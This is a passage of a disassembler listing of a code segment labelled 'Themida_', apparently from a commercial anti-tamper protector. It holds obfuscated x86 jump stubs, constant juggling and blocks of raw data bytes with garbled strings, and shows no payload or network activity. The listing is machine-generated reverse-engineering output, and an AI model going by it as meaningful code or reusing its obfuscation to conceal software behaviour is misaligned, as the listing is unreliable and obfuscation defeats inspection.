		dd 0FFFF6335h, 0E95EF231h, 0FFFFC794h, 0C781E789h, 4, 4C781h
		dd 3C870000h, 0EC835C24h, 14896602h, 78E5E924h,	1C68FFFFh
		dd 89000069h, 2E92414h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566FEB:				; CODE XREF: Themida_:0056F94Bj
		xor	esi, 71620C1Ch
		mov	ebx, esi
		jmp	loc_563B34
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E904EC83h, 9503h, 64E952ADh, 81000018h
		dd 3C7FCCF6h, 0E9F7012Eh, 890Ch
; ---------------------------------------------------------------------------


loc_567018:				; CODE XREF: Themida_:0055F003j
		push	46657CB2h
		pop	esi
		shl	esi, 8
		neg	esi
		jmp	loc_568365
; ---------------------------------------------------------------------------
		dd 666A68h, 24048900h, 8904EC83h, 68BD242Ch, 0E977503Fh
		dd 323Eh
; ---------------------------------------------------------------------------


loc_567040:				; CODE XREF: Themida_:0056B570j
		pop	ecx
		not	dh
		jmp	loc_562FAA
; ---------------------------------------------------------------------------


loc_567048:				; CODE XREF: Themida_:0056FD70j
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_56E82A
; ---------------------------------------------------------------------------


loc_567051:				; CODE XREF: Themida_:00566F21j
		push	593Ch
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56F1C1
; ---------------------------------------------------------------------------
aSK		db 'с,$°И ╙',0
		dw 5F00h
		dd 6E2BC681h, 0C6810931h, 0A0F26A33h, 1EE9F129h, 48FFFFF5h
		dd 78D6E9h, 242C8900h, 46E95457h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567093:				; CODE XREF: Themida_:0056B849j
		xor	ebp, 10CA3E34h
		push	2E7Bh
		mov	[esp], ebp
		jmp	loc_56FEA8
; ---------------------------------------------------------------------------


loc_5670A6:				; CODE XREF: Themida_:00569340j
		push	0DC5AEF7Ah
		pop	eax
		jmp	loc_55F36E
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 36A6855h, 0E95D51D8h, 0FFFFBF5Ah, 0E9241C33h, 0FFFFE61Ch
		dd 0F42C6FBDh, 93B4E913h, 0E9AD0000h, 0FFFFF8FEh, 7638C781h
		dd 0B95109B4h, 0F95312Ch, 9DE9CF01h, 81FFFF7Bh,	130ABBE9h
		dd 0E9525E32h, 0FFFF97DAh, 0E95DEF29h, 740Eh
; ---------------------------------------------------------------------------


loc_567100:				; CODE XREF: Themida_:0056A951j
		xor	dword ptr [ecx], 2DEC0625h
		pop	ecx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_567F3E
; ---------------------------------------------------------------------------
		db 68h
		dd 406h, 0BB241C89h, 6E1EA3h, 68B7C381h, 0E3C130A0h, 98A5E905h
		dd 0C890000h, 255FB924h, 0B8502E02h, 171B2622h,	3A667E35h
		dd 58C20107h, 0E7CEA81h, 0CA297598h, 0E7CC281h,	0EA817598h
		dd 1021405Ch, 0E9240C8Bh, 1022h
; ---------------------------------------------------------------------------


loc_567160:				; CODE XREF: Themida_:00572257j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56958D
; ---------------------------------------------------------------------------
		dd 9759C809h, 5750D7F7h, 8324048Bh, 0F75F04C4h,	505756D8h
		dd 9F12E9B8h, 0F5F4E90Eh, 77FFFFFFh, 59669D1Ch,	9C2414D2h
		dd 558FE9h
		db 0
; ---------------------------------------------------------------------------


loc_567199:				; CODE XREF: Themida_:0056D27Cj
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		pop	ecx
		pop	ebx
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_561365
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 51241C89h, 8010B753h, 0F78075E7h,	5BFD8827h
		dd 80E9F580h, 0EDC0A2CDh, 4EDC007h, 0F580C5FEh,	8BEB88DEh
		dd 0C481240Ch, 4, 522DE380h, 50D6B151h,	0FF78CEE9h, 8DE95AFFh
		dd 1FFFFACh, 24148BD6h,	6FBFE9h, 98E78100h, 0E935D94Eh
		dd 0FFFF9C04h, 815AD101h, 951640C1h, 81D9F72Fh,	861922F1h
		dd 0E4F18114h, 5392B71Eh, 0FFA869E9h, 5DEA01FFh, 5AD00159h
		dd 5A9BE9h, 4BE00h, 0F3010000h,	8124348Bh, 4C4h, 8626E900h
		dd 8966FFFFh, 665B66D8h, 4246C81h, 16654F2h, 66042444h
		dd 4244481h, 30E954F2h,	5D000086h, 1617EB81h, 0CB012CBDh
		dd 1617C381h, 0EB812CBDh, 5DDE25FAh, 1AE7E952h,	0EDC10000h
		dd 88E1E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567282:				; CODE XREF: Themida_:00567F4Dj
		mov	ebp, 234832BDh
		shr	ebp, 8
		jmp	loc_56EC77
; ---------------------------------------------------------------------------


loc_56728F:				; CODE XREF: Themida_:005726C0j
		mov	ebp, 60D41AC0h
		jmp	loc_56D1EC
; ---------------------------------------------------------------------------
		db 0BAh, 8Eh, 2Dh
		dd 22E910C4h, 1000051h,	24C381FBh, 5F5DE44Dh, 26856h, 515E0000h
		dd 5702FBB9h, 9FC1E956h, 0F581FFFFh, 3141DE6h, 8104E5C1h
		dd 0D381E6F5h, 0E9EE8900h, 9559h, 4C381h, 0C3810000h, 4
		dd 9656E9h, 0B8505900h,	0C4A9562Ch, 33E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5672F1:				; CODE XREF: Themida_:0056943Aj
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 0ACh
		dd 6866D830h, 0F3E9054Dh, 59FFFF6Dh, 0C159CA89h, 0EA8103E2h
		dd 529B08ACh, 0E3E9D001h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567317:				; CODE XREF: Themida_:00562303j
		push	edi
		mov	edi, 3DC97DD2h
		push	edx
		push	ecx
		push	edx
		mov	edx, 513F35CCh
		mov	ecx, edx
		jmp	loc_56A96B
; ---------------------------------------------------------------------------
		dd 0B7E9E689h, 68000015h, 3538h, 0FFA5DEE9h, 4EC81FFh
		dd 0E9000000h, 0FFFF9984h, 2EC6815Eh, 5B5FBE18h, 41190B05h
		dd 0D5B5E966h, 8B66FFFFh, 9768240Ch, 89000005h,	8B542404h
		dd 0E9522404h, 3F13h, 0D224248Bh, 0E99C243Ch, 0FFFF5F71h
		dd 150C181h, 0C1813303h, 9786E45h, 0E981F101h, 9786E45h
		dd 150E981h, 348B3303h,	4C48324h, 397DC181h, 0C10121D3h
		dd 3A5DE9h, 4C48300h, 457AE9h, 240C8B00h, 4C481h, 3C8B0000h
		dd 13E95324h, 51FFFFF7h, 8904EC83h, 55522424h, 4BDh, 5DEA8900h
		dd 4245401h, 8324148Bh,	0C8B04C4h, 4C48324h, 4EC81h, 4890000h
		dd 5866B824h, 0EC2D170Bh, 401BBE3Ch, 6807E8C1h,	66B5h
		dd 57243489h, 0FFC32BE9h, 242C89FFh, 5E0EC5BDh,	0E5C58158h
		dd 8139D02Bh, 0E1033DE5h, 81DDF714h, 0AFA36EF5h, 0F7D5F7F7h
		dd 0DDF745D5h, 2325E945h, 5AB90000h, 0F72FF039h, 0B3E981D9h
		dd 0C10DA962h, 0D6E902E1h, 89FFFFA0h, 4BA2414h,	50000000h
		dd 736A1DB8h, 7E8C130h,	0FA226B05h, 0E9C3015Eh,	0FFFF7EE7h
; ---------------------------------------------------------------------------


loc_567464:				; CODE XREF: Themida_:00567EF3j
		push	esi
		push	12267B33h
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 6
		push	2E23h
		mov	[esp], ebp
		push	ebx
		jmp	loc_56D251
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFF5E61h, 242C8758h, 240CFF5Ch, 5E53E99Ch
		dd 0DD28FFFFh, 5BB2ED80h, 0E903EDC0h, 0FFFFBF9Ah
; ---------------------------------------------------------------------------


loc_5674A8:				; CODE XREF: Themida_:00568916j
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D5F5
; ---------------------------------------------------------------------------


loc_5674B2:				; CODE XREF: Themida_:00568EC5j
		xor	ebx, edx
		pop	edx
		and	esi, ebx
		pop	ebx
		jmp	loc_56C76C
; ---------------------------------------------------------------------------
		db 0C1h, 0E5h, 8
		dd 4D45D5F7h, 300FC581h, 0E8014F51h, 0FF846DE9h, 243C89FFh
		dd 0E904EC83h, 0FFFF7892h, 59E9D800h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5674E3:				; CODE XREF: Themida_:0056509Ej
		add	ecx, 5A16528Bh
		add	ecx, edi
		push	esi
		jmp	loc_56943F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 0E9000000h, 0AA73h, 5C241C33h, 0E99CC884h
		dd 0FFFF5DE1h, 5EE9F729h, 0B30000A9h, 5BDA0878h, 0F606EAC0h
		dd 53F280DAh, 0FF791CE9h, 2AA70DFFh, 0CD050EB8h, 357CF92Ch
		dd 1BB1CBA8h, 0FF8533E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567539:				; CODE XREF: Themida_:0056937Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55EF88
; ---------------------------------------------------------------------------


loc_567559:				; CODE XREF: Themida_:0056487Ej
		pop	ebp
		add	[esp+8], edx
		sub	dword ptr [esp+8], 13D62849h
		jmp	loc_572A32
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14892424h, 0E501E924h, 8F54FFFFh, 0EAE92404h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56757F:				; CODE XREF: Themida_:00560965j
		xor	[edx], ecx
		pop	edx
		inc	ecx
		sub	esp, 4
		jmp	loc_55EA6A
; ---------------------------------------------------------------------------


loc_56758B:				; CODE XREF: Themida_:00560F43j
		pop	eax
		dec	ecx
		xor	ecx, 95A04BB6h
		mov	eax, ecx
		jmp	loc_56D14D
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 80C6FEFCh, 0EE8030EEh, 8BF0283Ch, 0C4832414h, 88E95B04h
		dd 55000099h, 8A7230BDh, 5DEA2945h, 72FCEA81h, 0EAC12E88h
		dd 4E2C106h, 3542EA81h,	0D70125ADh, 0EC83505Ah,	86DBE904h
		dd 0EB81FFFFh, 409856ADh, 0E9243C8Bh, 0A3EFh
; ---------------------------------------------------------------------------


loc_5675E8:				; CODE XREF: Themida_:00567729j
		add	esp, 4
		pop	ebx
		add	bl, cl
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_56E19D
; ---------------------------------------------------------------------------


loc_567609:				; CODE XREF: Themida_:00562070j
		mov	al, 9
		add	al, 0E1h
		neg	al
		or	al, 0D1h
		jmp	loc_56F686
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 10755E18h, 7E9CD01h,	87FFFF9Ch, 685C2414h, 1E65h, 4513E9h
		dd 4C48300h, 148BD729h,	4C48324h, 12B9514Fh, 0C12F6130h
		dd 0BF5707E9h, 369C1B5Ch, 0E4A3C781h, 0F929C963h, 0FF90CBE9h
		dd 2434FFFFh, 0E92434FFh, 0FFFFB98Fh, 52B0B353h, 525110B6h
		dd 5166F3B6h, 0EE2832B5h, 0EE805966h, 7E6C03Fh,	8811EE80h
		dd 0E1805AF1h, 6E1C046h, 0FF647BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56768D:				; CODE XREF: Themida_:00570DE2j
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		push	ecx
		mov	ecx, 6CC81AA5h
		dec	ecx
		jmp	loc_56D2C1
; ---------------------------------------------------------------------------


loc_5676A2:				; CODE XREF: Themida_:0055E729j
		push	eax
		jmp	loc_562BCC
; ---------------------------------------------------------------------------
		dd 5381E280h, 0FA3018B7h, 0FED2F65Bh, 0B45066C2h, 9133E9C1h
		dd 0D6F70000h, 1378EE81h, 20E981E5h, 5900009Fh,	606BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5676D1:				; CODE XREF: Themida_:0056051Dj
		xchg	edi, [esp]
		jmp	loc_567CAF
; ---------------------------------------------------------------------------
		db 1, 0CFh, 81h
		dd 0ED22B0C7h, 0EF815933h, 77C20392h, 0C781D701h, 77C20392h
		dd 12CEEF81h, 0C7814624h, 65277B6h, 4EC835Ah, 0E9240C89h
		dd 0ADEFh, 68243489h, 126419DEh, 8124348Bh, 4C4h, 27F68100h
		dd 0E90248BFh, 0FFFFDAF0h
; ---------------------------------------------------------------------------


loc_567724:				; CODE XREF: Themida_:0056A825j
		mov	cl, ah
		mov	eax, [esp]
		jmp	loc_5675E8
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 248B2404h, 24048924h, 0B86373B8h, 41FBE926h,	8B660000h
		dd 34E92414h, 5E0000A3h, 0FF811FE9h, 0EB815CFFh, 17361C63h
		dd 6CF4EB81h, 575040EDh, 450550BFh, 0CEF813Dh, 89C38AF4h
		dd 0FF055FF8h, 35FFFFFFh, 5E2A7A11h, 8158C329h,	0FB5464C3h
		dd 64A4E93Bh, 8851FFFFh, 0E9EB88E5h, 0FFFFA1C7h, 0C281F229h
		dd 2B1D2A93h, 0FF98B9E9h, 247401FFh, 246C8104h,	5D565D04h
		dd 24448119h, 0E7261C04h, 2434FF44h, 0FF83E5E9h, 24048BFFh
		dd 8F85E9h
		db 0
; ---------------------------------------------------------------------------


loc_5677C1:				; CODE XREF: Themida_:0056417Fj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_567F3E
		push	6D66h
		mov	[esp], edx
		push	40B0h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56CA82
; ---------------------------------------------------------------------------
		dw 555Ch
		dd 246E1BBDh, 246C2912h, 4815D04h, 135E7424h, 4E71E943h
		dd 0BE560000h, 7D56DBB9h, 2B4EC381h, 0EB812324h, 1C3500CDh
		dd 0B3E9F329h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56781B:				; CODE XREF: Themida_:005627B0j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 347034BCh
		sub	esi, eax
		jmp	loc_572091
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 0F4B76BEh, 4EC815Ah,	0E9000000h, 49F6h
; ---------------------------------------------------------------------------


loc_567840:				; CODE XREF: Themida_:005641D2j
		mov	ebp, 2C943921h
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5619AB
; ---------------------------------------------------------------------------
		db 0B9h, 0AFh, 77h
		dd 0CB0130C3h, 54525D59h, 0FFE77EE9h, 4BE56FFh,	1000000h
		dd 5E042474h, 83243C8Bh, 0E95204C4h, 835Ch
; ---------------------------------------------------------------------------


loc_567880:				; CODE XREF: Themida_:00562372j
		add	eax, 7B6F127Fh
		jmp	loc_56F66F
; ---------------------------------------------------------------------------
		dw 1EBEh
		dd 310F8256h, 95D3E9F0h, 0FE01FFFFh, 2996E9h
		db 0
; ---------------------------------------------------------------------------


loc_56789D:				; CODE XREF: Themida_:0056025Cj
		sub	esp, 4
		jmp	loc_562631
; ---------------------------------------------------------------------------
		db 1, 0DAh, 81h
		dd 2B5F69C2h, 0EDBD5571h, 297A1C0Fh, 34FF5DEAh,	0ACE95B24h
		dd 5B00001Bh, 134568h, 24348900h, 4BEh,	8BF50100h, 32E92434h
		dd 0FFFFFFECh, 81582434h, 4ECh,	242C8900h, 2434FF54h, 0E189515Dh
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 1F5BB53h, 0F753117Ch
		dd 1C8B2414h, 24CDE924h, 34FF0000h, 2434FF24h, 73685558h
		dd 89000047h, 4812424h,	424h, 0EAE95D00h, 0E9FFFF68h, 0FFFF59BDh
		dd 4197F281h, 0E2C147ECh, 0B8F28102h, 296F7D5Ch, 0C875AD1h
		dd 2CE95C24h, 0F7FFFF96h, 79C181D1h, 551C8D76h,	0F334AFBDh
		dd 5DE9017Eh, 9E9CB01h,	8100008Dh, 0D0699BEEh, 86C68120h
		dd 5A57ED4Ch, 6D47684Eh, 14890000h, 6C15BA24h, 0D631DDA3h
		dd 8124148Bh, 4C4h, 0E9F02900h,	0FFFF8A08h, 50241C89h
		dd 0FF7AEDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567999:				; CODE XREF: Themida_:0056C7F4j
		mov	[esp], esi
		push	ebx
		push	ecx
		jmp	loc_569490
; ---------------------------------------------------------------------------
		db 83h
		dd 885004C4h, 58C388F0h, 0FFB639E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5679B1:				; CODE XREF: Themida_:00562E4Aj
		push	esp
		jmp	loc_5727AC
; ---------------------------------------------------------------------------
		db 80h
		dd 0E80088EDh, 55240C8Bh, 7EF1E954h, 0C8B0000h,	4C48324h
		dd 31241433h, 14332414h, 24248B24h, 582434FFh, 427E68h
		dd 240C8900h, 0FF9C65E9h, 6E0C1FFh, 0FF5F94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5679F1:				; CODE XREF: Themida_:0055DD3Fj
		mov	[esp], ebp
		sub	dword ptr [esp], 0FFFFFFFFh
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 38C76E01h
		jmp	loc_56F300
; ---------------------------------------------------------------------------


loc_567A0C:				; CODE XREF: Themida_:0056EC61j
		mov	ebp, 10h
		and	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_564958
; ---------------------------------------------------------------------------


loc_567A28:				; CODE XREF: Themida_:00561D8Bj
		mov	[esp], edi
		jmp	loc_567D30
; ---------------------------------------------------------------------------
		dd 1C8B5553h, 4C48324h,	0F40EE95Dh, 0F68FFFFh, 8B086E51h
		dd 0C481242Ch, 4, 0FFC651E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567A51:				; CODE XREF: Themida_:0056F687j
		mov	dh, 24h
		neg	dh
		shl	dh, 6
		neg	dh
		jmp	loc_56A34C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9E987D5h, 0FFFFF2C7h, 592434FFh, 4EC8150h,	89000000h
		dd 0EC812424h, 4, 0B9240C89h, 4, 4244C01h, 0A419E959h
		dd 0E959FFFFh, 1Fh
; ---------------------------------------------------------------------------


loc_567A94:				; CODE XREF: Themida_:0056F227j
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56B9B6
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 4247C01h,	6AE95A5Fh, 68FFFFCBh, 19E2h, 51242C89h
		dd 1722E9h, 24143100h, 0FF7FABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567AC9:				; CODE XREF: Themida_:00565367j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_55F305
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 1088B924h, 7CE95BE9h, 81FFFFCBh, 4104246Ch, 1771620h
		dd 0E904246Ch, 0FFFFB88Eh, 0C84AE958h, 6852FFFFh, 0D966A85h
		dd 5724148Bh, 0C781E789h, 4, 4C781h, 0C5E90000h, 0BD000058h
		dd 0DDA13930h, 91E9EE31h, 81000016h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 0EAE9241Ch, 5A000068h, 0F2E9D5F7h, 33FFFFEDh
		dd 248B2404h, 0C8B6624h, 4EC8124h, 0E9000000h, 0FFFFF52Dh
; ---------------------------------------------------------------------------


loc_567B5C:				; CODE XREF: Themida_:00569701j
		xor	ebp, 993A89CCh
		or	ecx, ebp
		jmp	loc_56B647
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aStsD		db 'STИсD',0
		dw 8100h
		dd 0E1308E2h, 0A8EA8154h, 427D4E1Fh, 2ABFF281h,	0C2816B59h
		dd 4C642483h, 0D8EEF281h, 0D7013E71h, 5A2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56AB68
; ---------------------------------------------------------------------------


loc_567BA0:				; CODE XREF: Themida_:0056D9C2j
		mov	esp, [esp]
		jmp	loc_561043
; ---------------------------------------------------------------------------
		dd 66241489h, 66719BBAh, 4BBB6653h, 0EA816612h,	81660137h
		dd 66219FC2h, 0AAE9DA01h, 5Dh, 0EC815AF4h, 4, 88241489h
		dd 0F08850E6h, 3A70E9h,	0E9C10100h, 0FFFF634Ah,	535F5457h
		dd 5840E9h, 4C48100h, 33000000h, 2C31242Ch, 242C3324h
		dd 8924248Bh, 8DE92414h, 68000037h, 303Ch, 6444E9h, 4BB00h
		dd 0BBE90000h, 8BFFFFBDh, 0C483243Ch, 4C48304h,	806EE9h
		dd 8CEE8100h, 16E88EEh,	0C0E95EF3h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567C37:				; CODE XREF: Themida_:0056A0A9j
		mov	edi, 66963C10h
		add	edi, 0E43827B4h
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 0F851CD5Eh
		add	ebx, ebp
		jmp	loc_565DC3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 24148904h, 3FA168h, 24248900h, 0FF94DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567C71:				; CODE XREF: Themida_:0056AFEDj
		xchg	ecx, [esp]
		jmp	loc_56EE58
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 67h
		dd 8167FB3Ch, 7F6006C5h, 75D2E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567C8A:				; CODE XREF: Themida_:00564247j
		xchg	ebx, esi
		pop	ebx
		push	ebx
		push	edi
		mov	edi, 0AAA79C50h
		jmp	loc_570170
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 0E9243C87h, 0FFFF9129h, 87D7F759h, 69E942D7h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567CAF:				; CODE XREF: Themida_:005676D4j
		pop	esp
		pop	ecx
		sub	ecx, 18FA2AD3h
		sub	esp, 4
		jmp	loc_571E33
; ---------------------------------------------------------------------------


loc_567CC2:				; CODE XREF: Themida_:0055F9E7j
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		push	2144h
		mov	[esp], edx
		jmp	loc_5635B0
; ---------------------------------------------------------------------------
		dw 8FBAh
		dd 16E6A16h, 55565AD3h,	0E02364BDh, 81E5D125h, 0BC3EC4E5h
		dd 0F5C8E904h, 5166FFFFh, 0FE932B1h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567CFF:				; CODE XREF: Themida_:0056D836j
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_5649A9
; ---------------------------------------------------------------------------


loc_567D09:				; CODE XREF: Themida_:0056EC44j
		mov	ebx, 77D842FCh
		inc	ebx
		shr	ebx, 5
		and	ebx, 5504F9Ah
		jmp	loc_56B6FD
; ---------------------------------------------------------------------------
aYhaf		db 'YhAF',0
		dw 8900h
		dd 6CB82404h, 0E95B926Fh, 0FFFFB775h
; ---------------------------------------------------------------------------


loc_567D30:				; CODE XREF: Themida_:00567A2Bj
		push	3F11h
		mov	[esp], edx
		mov	edx, 1BDD4236h
		sub	edx, 0FFFFFFFFh
		inc	edx
		dec	edx
		push	ecx
		mov	ecx, 7D730FDAh
		sub	ecx, 7A75BF74h
		jmp	loc_563837
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E924048Fh, 0FFFF7DF2h, 0FF1C5709h, 34FF2434h, 2434FF24h
		dd 4C4835Ah, 294AE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567D72:				; CODE XREF: Themida_:00571C0Aj
		and	ecx, edi
		jmp	loc_5610C2
; ---------------------------------------------------------------------------
		db 58h,	28h, 0F0h
		dd 0E924148Bh, 0FFFFB8E4h
; ---------------------------------------------------------------------------


loc_567D84:				; CODE XREF: Themida_:005699B0j
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_563244
		push	dword ptr [edi+28h]
		jmp	loc_56F360
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 240C8700h, 8924248Bh, 8B542404h, 0C4832404h, 9F00E904h
		dd 0C2810000h, 4, 4C281h, 57E90000h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567DC3:				; CODE XREF: Themida_:00566803j
		shr	ecx, 0Bh
		push	1315h
		mov	[esp], ebx
		push	58C9h
		jmp	loc_566960
; ---------------------------------------------------------------------------


loc_567DD8:				; CODE XREF: Themida_:0056DCA6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_56641E
; ---------------------------------------------------------------------------
aQsG_SY		db '\QS╩┐".',0Ah
		db 'ИсY',0
		dw 8100h
		dd 0ED4C86EEh, 9BC68157h, 120D069h, 0FB55E9D6h,	148BFFFFh
		dd 7B48E924h, 0DE89FFFFh, 5B2434FFh, 904C483h, 348B1C77h
		dd 5D39E924h, 0EA81FFFFh, 0FBE6F13Fh, 148BD501h, 2F3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567E3A:				; CODE XREF: Themida_:00566E8Cj
		sub	eax, edx
		pop	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 4Bh
		xor	bh, ah
		xor	ah, bh
		xor	bh, ah
		jmp	loc_56B569
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 6C368h, 241C8900h, 7B9EE954h, 665BFFFFh, 6606E7C1h
		dd 6607E7C1h, 8166DFF7h, 0E957BBCFh, 0FFFFAE1Dh, 0EF81F701h
		dd 163F487Bh, 67BF055Eh, 0A0E940AEh, 8100007Fh,	0AF50FDCAh
		dd 0FBEA8168h, 1E9AF7Eh, 0C3815AD3h, 4,	0E9241C87h, 79E8h
		dd 6521685Bh, 3C890000h, 2434FF24h, 7D84E9h, 6B6EBB00h
		dd 0CB8151D9h, 329D5299h, 568E9h, 0E978B400h, 0FFFFEAA5h
		dd 240C8B66h, 81E78957h, 4C7h, 4EF8100h, 0E9000000h, 0FFFF70C1h
; ---------------------------------------------------------------------------


loc_567EF0:				; CODE XREF: Themida_:00570FCFj
		mov	[esp], edi
		jmp	loc_567464
; ---------------------------------------------------------------------------
		dd 3512B405h, 24148B6Fh, 5704C483h, 4BFh, 5FF80100h, 5C240487h
		dd 2604D800h, 82CAE953h, 0FC88FFFFh, 0E9241C8Bh, 4474h
; ---------------------------------------------------------------------------


loc_567F24:				; CODE XREF: Themida_:00568DCDj
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_56D18F
; ---------------------------------------------------------------------------


loc_567F33:				; CODE XREF: Themida_:005646D9j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_567F38:				; CODE XREF: Themida_:0056A380j
		add	esp, 4


loc_567F3E:				; CODE XREF: Themida_:0056710Ej
					; Themida_:005677C5j
		push	dword ptr [esp]
		pop	ebx
		push	7363h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_567282
; ---------------------------------------------------------------------------


loc_567F52:				; CODE XREF: Themida_:0056AFC8j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 3B8E40EEh
		xor	ecx, esi
		jmp	loc_571239
; ---------------------------------------------------------------------------
		dd 8158C201h, 4ECh, 242C8900h, 276B68h,	241C8900h, 604A08BBh
		dd 4A0CBD76h, 0DD317660h, 5B2434FFh, 8104C483h,	4ECh, 0F198E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567F96:				; CODE XREF: Themida_:00570E05j
		pop	esp
		push	4709h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	6598h
		mov	[esp], ecx
		jmp	loc_56A224
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9243489h, 0A216h, 7D20BBB8h, 0DFE9966Fh, 8900002Ah
		dd 0C788241Ch, 585BFA88h, 0E959CA28h, 850h
; ---------------------------------------------------------------------------


loc_567FE4:				; CODE XREF: Themida_:005650CDj
		mov	[esp], eax
		push	7F4C13C4h
		jmp	loc_5659D9
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 75F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_568009:				; CODE XREF: Themida_:00569945j
		pop	edx
		push	ebx
		mov	ebx, 77B93961h
		and	ebp, ebx
		pop	ebx
		shr	ebp, 4
		push	7D9Ch
		jmp	loc_56A0A6
; ---------------------------------------------------------------------------
		dd 8B240433h, 62E92424h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56802B:				; CODE XREF: Themida_:0056F132j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	eax
		mov	eax, 54761DE8h
		mov	ebp, eax
		jmp	loc_56C68D
; ---------------------------------------------------------------------------


loc_568044:				; CODE XREF: Themida_:00570FFFj
		mov	edi, 4DDC27D6h
		xor	edi, 1E4447BEh
		sub	edi, 50C837B9h
		add	ebx, edi
		pop	edi
		sub	ebx, 5357AFA8h
		mov	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
